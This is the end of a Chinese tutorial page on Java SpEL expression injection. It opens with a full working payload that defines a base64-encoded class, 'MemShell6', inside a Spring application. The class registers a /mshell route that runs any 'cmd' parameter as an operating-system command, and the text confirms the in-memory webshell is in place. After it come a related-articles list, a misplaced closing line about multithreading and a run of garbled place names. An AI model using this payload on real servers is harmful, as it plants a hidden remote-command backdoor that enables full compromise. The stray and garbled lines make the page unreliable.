T(org.springframework.cglib.core.ReflectUtils).defineClass(
    'MemShell6', 
    T(com.sun.org.apache.xml.internal.security.utils.Base64).decode('yv66vgAAADQA6QoALAB5CABBCwA2AHoKAAoAewgAfAoAfQB+CgAKAH8IAIAKAAoAgQcAgggAgwgAhAgAhQgAhgoAhwCICgCHAIkKAIoAiwcAjAoAEgCNCACOCgASAI8KABIAkAoAEgCRCACSCwA3AJMKAJQAlQoAlACWCACXBwCYCgAdAJkKAJoAmwcAnAgAnQoAIACeBwCfBwCgCwAjAKEHAKIIAKMHAKQHAEYKACgApQoApgCnBwCoCACpCgCmAKoIAKsKACwArAgArQcArggAsQcAsgoANAB5BwCzBwC0CgAkALUKAB0AtgEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQALTE1lbVNoZWxsNjsBAANjbWQBAFIoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7TGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlOylWAQAFaXNXaW4BAAFaAQAEY21kcwEAE1tMamF2YS9sYW5nL1N0cmluZzsBAAdwcm9jZXNzAQATTGphdmEvbGFuZy9Qcm9jZXNzOwEAAmluAQAVTGphdmEvaW8vSW5wdXRTdHJlYW07AQABcwEAE0xqYXZhL3V0aWwvU2Nhbm5lcjsBAAZvdXRwdXQBABJMamF2YS9sYW5nL1N0cmluZzsBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQAHcmVxdWVzdAEAJ0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0OwEACHJlc3BvbnNlAQAoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlOwEADVN0YWNrTWFwVGFibGUHAIIHALIHALMHALQHALcHALgHAIwHAJgBABBNZXRob2RQYXJhbWV0ZXJzAQAIPGNsaW5pdD4BAA1vcHRpb25zTWV0aG9kAQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBABZnZXRCdWlsZGVyQ29uZmlnTWV0aG9kAQAGY29uZmlnAQASTGphdmEvbGFuZy9PYmplY3Q7AQAKYXR0cmlidXRlcwEAQkxvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9jb250ZXh0L3JlcXVlc3QvU2VydmxldFJlcXVlc3RBdHRyaWJ1dGVzOwEAB2NvbnRleHQBADdMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV4dC9XZWJBcHBsaWNhdGlvbkNvbnRleHQ7AQAHbWFwcGluZwEAVExvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9tZXRob2QvYW5ub3RhdGlvbi9SZXF1ZXN0TWFwcGluZ0hhbmRsZXJNYXBwaW5nOwEAC3BhdGhzTWV0aG9kAQAMcGF0aHNCdWlsZGVyAQALYnVpbGRNZXRob2QBAARpbmZvAQA/TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL21ldGhvZC9SZXF1ZXN0TWFwcGluZ0luZm87AQAIaW5zdGFuY2UBAAZtZXRob2QHAJwHAJ8HAKAHALkHAKgBAApTb3VyY2VGaWxlAQAOTWVtU2hlbGw2LmphdmEMADoAOwwAugC7DAC8AL0BAAdvcy5uYW1lBwC+DAC/ALsMAMAAwQEAA3dpbgwAwgDDAQAQamF2YS9sYW5nL1N0cmluZwEAB2NtZC5leGUBAAIvYwEABy9iaW4vc2gBAAItYwcAxAwAxQDGDADHAMgHALcMAMkAygEAEWphdmEvdXRpbC9TY2FubmVyDAA6AMsBAAJcQQwAzADNDADOAL0MAM8AwQEAAAwA0ADRBwDSDADTANQMANUAOwEAHE1lbVNoZWxsNiAoRmluYWwpIGlzIGFjdGl2ZSEBABNqYXZhL2xhbmcvRXhjZXB0aW9uDADWANcHANgMANkA2gEAQG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvcmVxdWVzdC9TZXJ2bGV0UmVxdWVzdEF0dHJpYnV0ZXMBADlvcmcuc3ByaW5nZnJhbWV3b3JrLndlYi5zZXJ2bGV0LkRpc3BhdGNoZXJTZXJ2bGV0LkNPTlRFWFQMANsA3AEANW9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvV2ViQXBwbGljYXRpb25Db250ZXh0AQBSb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvbWV0aG9kL2Fubm90YXRpb24vUmVxdWVzdE1hcHBpbmdIYW5kbGVyTWFwcGluZwwA3QDeAQA9b3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvbWV0aG9kL1JlcXVlc3RNYXBwaW5nSW5mbwEABXBhdGhzAQAPamF2YS9sYW5nL0NsYXNzDADfAOAHALkMAOEA4gEAEGphdmEvbGFuZy9PYmplY3QBAAcvbXNoZWxsDADjAOQBABdnZXRCdWlsZGVyQ29uZmlndXJhdGlvbgwA5QDmAQAHb3B0aW9ucwEAUm9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL21ldGhvZC9SZXF1ZXN0TWFwcGluZ0luZm8kQnVpbGRlckNvbmZpZ3VyYXRpb24BABRCdWlsZGVyQ29uZmlndXJhdGlvbgEADElubmVyQ2xhc3NlcwEABWJ1aWxkAQAJTWVtU2hlbGw2AQAlamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdAEAJmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlDADnAOgMANYAOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQATamF2YS9pby9JbnB1dFN0cmVhbQEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAEADGdldFBhcmFtZXRlcgEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAHaXNFbXB0eQEAAygpWgEAEGphdmEvbGFuZy9TeXN0ZW0BAAtnZXRQcm9wZXJ0eQEAC3RvTG93ZXJDYXNlAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEADHVzZURlbGltaXRlcgEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvdXRpbC9TY2FubmVyOwEAB2hhc05leHQBAARuZXh0AQAJZ2V0V3JpdGVyAQAXKClMamF2YS9pby9QcmludFdyaXRlcjsBABNqYXZhL2lvL1ByaW50V3JpdGVyAQAFd3JpdGUBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAAVmbHVzaAEAD3ByaW50U3RhY2tUcmFjZQEAGChMamF2YS9pby9QcmludFdyaXRlcjspVgEAPG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvcmVxdWVzdC9SZXF1ZXN0Q29udGV4dEhvbGRlcgEAGGN1cnJlbnRSZXF1ZXN0QXR0cmlidXRlcwEAPSgpTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvcmVxdWVzdC9SZXF1ZXN0QXR0cmlidXRlczsBAAxnZXRBdHRyaWJ1dGUBACcoTGphdmEvbGFuZy9TdHJpbmc7SSlMamF2YS9sYW5nL09iamVjdDsBAAdnZXRCZWFuAQAlKExqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvT2JqZWN0OwEACWdldE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwEAD3JlZ2lzdGVyTWFwcGluZwEAbihMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvbWV0aG9kL1JlcXVlc3RNYXBwaW5nSW5mbztMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOylWACEANAAsAAAAAAADAAEAOgA7AAEAPAAAAC8AAQABAAAABSq3AAGxAAAAAgA9AAAABgABAAAADgA+AAAADAABAAAABQA/AEAAAAABAEEAQgACADwAAAIAAAQACgAAALwrEgK5AAMCAE4txgCTLbYABJoAjBIFuAAGtgAHEgi2AAk2BBUEmQAYBr0AClkDEgtTWQQSDFNZBS1TpwAVBr0AClkDEg1TWQQSDlNZBS1TOgW4AA8ZBbYAEDoGGQa2ABE6B7sAElkZB7cAExIUtgAVOggZCLYAFpkACxkItgAXpwAFEhg6CSy5ABkBABkJtgAaLLkAGQEAtgAbpwAOLLkAGQEAEhy2ABqnABNOLSy5ABkBALYAHqcABToEsQACAAAAqACrAB0ArAC2ALkAHQADAD0AAABCABAAAABAAAkAQQAUAEIAIwBDAFEARABbAEUAYgBGAHIARwCGAEgAkQBJAJoASgCdAEsAqABPAKsATQCsAE4AuwBQAD4AAABwAAsAIwB3AEMARAAEAFEASQBFAEYABQBbAD8ARwBIAAYAYgA4AEkASgAHAHIAKABLAEwACACGABQATQBOAAkACQCfAEEATgADAKwADwBPAFAAAwAAALwAPwBAAAAAAAC8AFEAUgABAAAAvABTAFQAAgBVAAAAZAAJ/QA9BwBWAVEHACn/ADIACQcAVwcAWAcAWQcAVgEHACkHAFoHAFsHAFwAAEEHAFb/ABgABAcAVwcAWAcAWQcAVgAA+gAKQgcAXf8ADQAEBwBXBwBYBwBZBwBdAAEHAF36AAEAXgAAAAkCAFEAAABTAAAACABfADsAAQA8AAACQwAJAAkAAAD/uAAfwAAgSyoSIQO2ACLAACNMKxIkuQAlAgDAACRNEiYSJwS9AChZAxIpU7YAKk4tBLYAKy0BBL0ALFkDBL0AClkDEi1TU7YALjoEEiQSLwO9ACi2ACo6BRkFBLYAKxkFLAO9ACy2AC46BhkGxgAvGQS2ADASMQS9AChZAxIyU7YAKjoHGQcEtgArGQcZBAS9ACxZAxkGU7YALlenAAU6BRkEtgAwEjMDvQAotgAqOgUZBQS2ACsZBRkEA70ALLYALsAAJjoGuwA0WbcANToHEjQSAgW9AChZAxI2U1kEEjdTtgAqOggZCAS2ACssGQYZBxkItgA4pwAISyq2ADmxAAIASwCbAJ4AHQAAAPYA+QAdAAMAPQAAAGoAGgAAABMABwAUABIAGAAeABsALwAcADQAHQBLACEAWAAiAF4AIwBqACUAbwAmAIQAJwCKACgAmwAsAJ4AKgCgAC8AsAAwALYAMQDGADQAzwA1AOYANgDsADcA9gA7APkAOQD6ADoA/gA8AD4AAACEAA0AhAAXAGAAYQAHAFgAQwBiAGEABQBqADEAYwBkAAYABwDvAGUAZgAAABIA5ABnAGgAAQAeANgAaQBqAAIALwDHAGsAYQADAEsAqwBsAGQABACwAEYAbQBhAAUAxgAwAG4AbwAGAM8AJwBwAEAABwDmABAAcQBhAAgA+gAEAE8AUAAAAFUAAAAoAAX/AJsABQcAcgcAcwcAdAcAdQcAdgAAQgcAXQH/AFgAAAABBwBdBAACAHcAAAACAHgAsAAAAAoAAQAyACYArwAJ'), 
    T(org.springframework.util.ClassUtils).getDefaultClassLoader()
).newInstance()

就可以愉快的執(zhí)行命令了

我們?cè)L問mshell路由,傳遞cmd參數(shù)就是我們要執(zhí)行的命令

至此內(nèi)存馬注入完成。

到此這篇關(guān)于Java多線程的文章就介紹到這了,更多相關(guān)Java多線程內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!

到此這篇關(guān)于Java SpEL表達(dá)式注入入門學(xué)習(xí)示例教程的文章就介紹到這了,更多相關(guān)java spel表達(dá)式注入內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!

相關(guān)文章

  • MyBatis延遲加載與立即加載案例教程

    MyBatis延遲加載與立即加載案例教程

    這篇文章主要介紹了MyBatis延遲加載與立即加載案例教程,本篇文章通過簡(jiǎn)要的案例,講解了該項(xiàng)技術(shù)的了解與使用,以下就是詳細(xì)內(nèi)容,需要的朋友可以參考下
    2021-07-07
  • 詳解Java中while和do-while循環(huán)、break的使用

    詳解Java中while和do-while循環(huán)、break的使用

    本文介紹了循環(huán)結(jié)構(gòu)語(yǔ)句while和do-while循環(huán)、break的使用,while循環(huán)語(yǔ)句通過流程圖和語(yǔ)法語(yǔ)句結(jié)合一個(gè)求1~10的整數(shù)和的例子來(lái)幫助大家理解while循環(huán)的用法,感興趣的朋友跟隨小編來(lái)看看吧
    2020-11-11
  • 使用Java8實(shí)現(xiàn)模板方法模式的改造

    使用Java8實(shí)現(xiàn)模板方法模式的改造

    這篇文章主要為大家詳細(xì)介紹了如何使用Java8實(shí)現(xiàn)模板方法模式的改造,文中的示例代碼講解詳細(xì),對(duì)我們深入了解java8有一定的幫助,感興趣的可以了了解一下
    2023-01-01
  • java的各種類型轉(zhuǎn)換全部匯總(推薦)

    java的各種類型轉(zhuǎn)換全部匯總(推薦)

    下面小編就為大家?guī)?lái)一篇java的各種類型轉(zhuǎn)換全部匯總(推薦)。小編覺得挺不錯(cuò)的,現(xiàn)在就分享給大家,也給大家做個(gè)參考。一起跟隨小編過來(lái)看看吧
    2016-05-05
  • 關(guān)于spring中定時(shí)器的使用教程

    關(guān)于spring中定時(shí)器的使用教程

    大家應(yīng)該都有所體會(huì),在很多實(shí)際的web應(yīng)用中,都有需要定時(shí)實(shí)現(xiàn)的服務(wù),下面這篇文章主要給大家介紹了關(guān)于spring中定時(shí)器的使用教程,對(duì)大家具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面來(lái)一起看看吧。
    2017-06-06
  • JVM Metaspace內(nèi)存溢出問題解決方案

    JVM Metaspace內(nèi)存溢出問題解決方案

    這篇文章主要介紹了JVM Metaspace內(nèi)存溢出排查總結(jié)過程圖解,文中通過示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友可以參考下
    2020-11-11
  • skywalking分布式服務(wù)調(diào)用鏈路追蹤APM應(yīng)用監(jiān)控

    skywalking分布式服務(wù)調(diào)用鏈路追蹤APM應(yīng)用監(jiān)控

    這篇文章主要為大家介紹了skywalking分布式服務(wù)調(diào)用鏈路追蹤APM應(yīng)用監(jiān)控的功能使用說明,有需要的朋友可以借鑒參考下,希望能夠有所幫助
    2022-03-03
  • MyBatis?Generator快速生成實(shí)體類和映射文件的方法

    MyBatis?Generator快速生成實(shí)體類和映射文件的方法

    這篇文章主要介紹了MyBatis?Generator快速生成實(shí)體類和映射文件的方法,通過示例代碼介紹了MyBatis?Generator?的使用,本文結(jié)合示例代碼給大家介紹的非常詳細(xì),需要的朋友可以參考下
    2023-10-10
  • java基于spring boot本地上傳圖片示例解析

    java基于spring boot本地上傳圖片示例解析

    這篇文章主要介紹了java基于spring boot本地上傳圖片示例解析,文中通過示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來(lái)一起學(xué)習(xí)學(xué)習(xí)吧
    2020-07-07
  • SpringBoot整合JPA的增刪改查教程

    SpringBoot整合JPA的增刪改查教程

    SpringJPA通過對(duì)象關(guān)系映射、倉(cāng)庫(kù)接口、查詢生成和事務(wù)管理,簡(jiǎn)化了Java應(yīng)用程序中的數(shù)據(jù)持久化操作,它自動(dòng)實(shí)現(xiàn)數(shù)據(jù)訪問,減少樣板代碼,降低復(fù)雜性,并與Spring框架無(wú)縫集成
    2026-03-03

最新評(píng)論

手游| 郎溪县| 商丘市| 安阳县| 靖宇县| 临颍县| 米易县| 灌阳县| 玉环县| 军事| 韶关市| 通辽市| 剑川县| 余江县| 山阳县| 苍梧县| 苏尼特右旗| 新源县| 大邑县| 昌宁县| 营口市| 四会市| 页游| 莱阳市| 平顶山市| 健康| 洪泽县| 安化县| 蒙阴县| 永新县| 龙陵县| 鄄城县| 吐鲁番市| 顺平县| 凉城县| 皮山县| 定州市| 建昌县| 大兴区| 吉木萨尔县| 遵义县|